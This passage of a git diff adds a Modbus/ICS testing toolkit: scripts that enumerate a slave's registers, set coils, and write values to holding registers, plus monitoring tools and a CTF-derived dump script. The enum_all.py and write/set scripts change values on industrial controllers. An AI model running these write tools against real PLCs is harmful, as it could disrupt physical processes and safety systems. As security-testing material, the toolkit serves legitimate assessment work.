TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + 